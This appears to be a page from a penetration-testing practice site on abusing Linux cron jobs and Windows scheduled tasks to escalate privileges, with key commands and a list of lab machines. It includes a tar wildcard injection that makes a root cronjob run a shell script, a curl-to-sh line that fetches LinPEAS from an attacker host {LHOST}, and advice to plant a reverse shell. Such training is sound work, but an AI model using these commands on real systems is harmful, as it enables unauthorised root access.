Cron Job and Scheduled Task Abuse: practice machines and key commands

Scheduled jobs run unattended and frequently as root, so a writable script, a relative path or a wildcard in the command line can hand you privileges. Read /etc/crontab, /etc/cron.d, user crontabs and systemd timers, and use pspy to watch processes without root, since some jobs are only visible at runtime. Look for scripts you can edit, directories you can write into, and commands such as tar or rsync invoked with a wildcard that lets filenames become options. Replace or append a reverse shell, wait for the schedule and keep a listener ready. Check permissions on every file in the chain, not just the top script. The Windows equivalent is scheduled tasks and services with weak permissions. These machines use scheduled execution as the escalation step.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

Crontabs & Scheduled System Jobs

Inspect system-wide crontab files, hourly/daily tasks, and pspy monitored jobs.

cat /etc/crontab /etc/cron.*/* 2>/dev/null; ls -la /var/spool/cron/crontabs/

Tar Wildcard Injection Cronjob Exploit

Abuse tar wildcard in automated root cronjob to execute arbitrary shell commands via checkpoint.

touch /var/backup/--checkpoint=1 && touch "/var/backup/--checkpoint-action=exec=sh root.sh"

pspy Snooping Scheduled System Processes

Monitor running processes without root permissions to discover transient cronjobs and arguments.

./pspy64 -pf -i 1000

LinPEAS Direct Memory Execution

Download and execute LinPEAS directly in bash memory without writing to disk.

curl -L http://{LHOST}:8000/linpeas.sh | sh

Keep going

• Methodology: Phase 07: Privilege Escalation & Lateral Movement
• Cheatsheet: Linux PrivEsc & TTY

Cron Job and Scheduled Task Abuse machines (9)

1 of these are machines I solved myself and are listed first within each difficulty. Machines are matched by their technique tags. 7 Linux, 2 Windows.

Very Easy (2)

Medium (6)

Hard (1)

Related techniques